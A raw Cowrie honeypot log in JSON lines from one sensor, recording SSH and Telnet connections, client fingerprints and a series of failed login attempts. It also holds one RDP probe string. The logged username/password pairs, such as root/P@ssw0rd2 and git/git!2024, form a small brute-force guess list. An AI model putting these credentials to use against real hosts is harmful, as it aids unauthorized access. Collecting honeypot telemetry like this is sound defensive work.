{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:31:10.859613Z","src_ip":"191.255.52.36","session":"e9cd37d6e468","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.173.175.122","src_port":54694,"dst_ip":"159.203.135.109","dst_port":23,"session":"35a719d1967b","protocol":"telnet","message":"New connection: 185.173.175.122:54694 (159.203.135.109:23) [session: 35a719d1967b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:31:10.918696Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"aBc123456","message":"login attempt [root/aBc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:31:11.424589Z","src_ip":"191.255.52.36","session":"e9cd37d6e468","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:31:12.620131Z","src_ip":"191.255.52.36","session":"e9cd37d6e468","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.85479807853699,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:31:19.112674Z","src_ip":"80.241.210.166","session":"6ad455e93780","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.899999618530273,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:31:23.818579Z","src_ip":"185.173.175.122","session":"35a719d1967b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":65125,"dst_ip":"159.203.135.109","dst_port":22,"session":"e03d8501aea1","protocol":"ssh","message":"New connection: 103.149.252.223:65125 (159.203.135.109:22) [session: e03d8501aea1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:31:28.221444Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:31:28.227632Z","src_ip":"103.149.252.223","session":"e03d8501aea1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:31:28.231679Z","src_ip":"103.149.252.223","session":"e03d8501aea1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":36616,"dst_ip":"10.17.0.5","dst_port":23,"session":"859bc0cc4426","protocol":"telnet","message":"New connection: 80.241.210.166:36616 (10.17.0.5:23) [session: 859bc0cc4426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:31:30.509245Z"}
{"eventid":"cowrie.session.closed","duration":0.005380392074584961,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:31:30.514493Z","src_ip":"80.241.210.166","session":"859bc0cc4426","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.162.99.164","src_port":20997,"dst_ip":"159.203.135.109","dst_port":23,"session":"043303d3c70b","protocol":"telnet","message":"New connection: 45.162.99.164:20997 (159.203.135.109:23) [session: 043303d3c70b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:31:36.380248Z"}
{"eventid":"cowrie.session.closed","duration":15.047616481781006,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:31:51.427715Z","src_ip":"45.162.99.164","session":"043303d3c70b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.111.168.214","src_port":35234,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cda7d86c85a","protocol":"ssh","message":"New connection: 47.111.168.214:35234 (10.17.0.5:22) [session: 3cda7d86c85a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:32:22.112278Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:32:22.339751Z","src_ip":"47.111.168.214","session":"3cda7d86c85a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":42418,"dst_ip":"10.17.0.5","dst_port":22,"session":"b54b6441949f","protocol":"ssh","message":"New connection: 5.182.83.231:42418 (10.17.0.5:22) [session: b54b6441949f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:33:57.830778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:33:57.835809Z","src_ip":"5.182.83.231","session":"b54b6441949f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:33:57.954391Z","src_ip":"5.182.83.231","session":"b54b6441949f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2","message":"login attempt [root/P@ssw0rd2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:33:58.455706Z","src_ip":"5.182.83.231","session":"b54b6441949f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:33:59.576999Z","src_ip":"5.182.83.231","session":"b54b6441949f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.141.59.195","src_port":60588,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d8f09b37623","protocol":"ssh","message":"New connection: 114.141.59.195:60588 (159.203.135.109:22) [session: 3d8f09b37623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:34:09.513880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:34:09.520461Z","src_ip":"114.141.59.195","session":"3d8f09b37623","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:34:09.760685Z","src_ip":"114.141.59.195","session":"3d8f09b37623","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"serverroot","message":"login attempt [root/serverroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:34:10.725311Z","src_ip":"114.141.59.195","session":"3d8f09b37623","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:34:11.974722Z","src_ip":"114.141.59.195","session":"3d8f09b37623","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.255.52.36","src_port":36430,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fd289e76872","protocol":"ssh","message":"New connection: 191.255.52.36:36430 (159.203.135.109:22) [session: 2fd289e76872]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:34:43.629845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:34:43.634851Z","src_ip":"191.255.52.36","session":"2fd289e76872","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:34:43.828067Z","src_ip":"191.255.52.36","session":"2fd289e76872","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git!2024","message":"login attempt [git/git!2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:34:44.431745Z","src_ip":"191.255.52.36","session":"2fd289e76872","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:34:45.572583Z","src_ip":"191.255.52.36","session":"2fd289e76872","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.134.49.171","src_port":58768,"dst_ip":"159.203.135.109","dst_port":22,"session":"e097e9cf5bbb","protocol":"ssh","message":"New connection: 78.134.49.171:58768 (159.203.135.109:22) [session: e097e9cf5bbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:36:16.018937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:36:16.365774Z","src_ip":"78.134.49.171","session":"e097e9cf5bbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:36:16.473270Z","src_ip":"78.134.49.171","session":"e097e9cf5bbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"robert","password":"test123","message":"login attempt [robert/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:36:16.934813Z","src_ip":"78.134.49.171","session":"e097e9cf5bbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:36:18.047266Z","src_ip":"78.134.49.171","session":"e097e9cf5bbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":48676,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6d6b3afac41","protocol":"telnet","message":"New connection: 185.26.126.47:48676 (159.203.135.109:23) [session: e6d6b3afac41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:36:39.125657Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":57122,"dst_ip":"10.17.0.5","dst_port":22,"session":"be1a6d2d47e4","protocol":"ssh","message":"New connection: 5.182.83.231:57122 (10.17.0.5:22) [session: be1a6d2d47e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:36:40.016324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:36:40.021087Z","src_ip":"5.182.83.231","session":"be1a6d2d47e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:36:40.137361Z","src_ip":"5.182.83.231","session":"be1a6d2d47e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@12345","message":"login attempt [root/Welcome@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:36:40.634771Z","src_ip":"5.182.83.231","session":"be1a6d2d47e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:36:41.753647Z","src_ip":"5.182.83.231","session":"be1a6d2d47e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.04459309577942,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:37:26.170139Z","src_ip":"185.26.126.47","session":"e6d6b3afac41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.255.52.36","src_port":52086,"dst_ip":"159.203.135.109","dst_port":22,"session":"ead7d3619e5c","protocol":"ssh","message":"New connection: 191.255.52.36:52086 (159.203.135.109:22) [session: ead7d3619e5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:38:11.234032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:38:11.239080Z","src_ip":"191.255.52.36","session":"ead7d3619e5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:38:11.426322Z","src_ip":"191.255.52.36","session":"ead7d3619e5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ym@123456","message":"login attempt [root/Ym@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:38:12.021749Z","src_ip":"191.255.52.36","session":"ead7d3619e5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:38:13.222133Z","src_ip":"191.255.52.36","session":"ead7d3619e5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":45540,"dst_ip":"159.203.135.109","dst_port":23,"session":"66503f20d3fd","protocol":"telnet","message":"New connection: 185.26.126.47:45540 (159.203.135.109:23) [session: 66503f20d3fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:38:47.837516Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.33.197.75","src_port":33082,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ac76c6d84f0","protocol":"telnet","message":"New connection: 173.33.197.75:33082 (10.17.0.5:23) [session: 3ac76c6d84f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:39:14.022560Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":47224,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b5432fe1344","protocol":"ssh","message":"New connection: 5.182.83.231:47224 (10.17.0.5:22) [session: 9b5432fe1344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:39:28.106718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:39:28.113874Z","src_ip":"5.182.83.231","session":"9b5432fe1344","protocol":"ssh"}
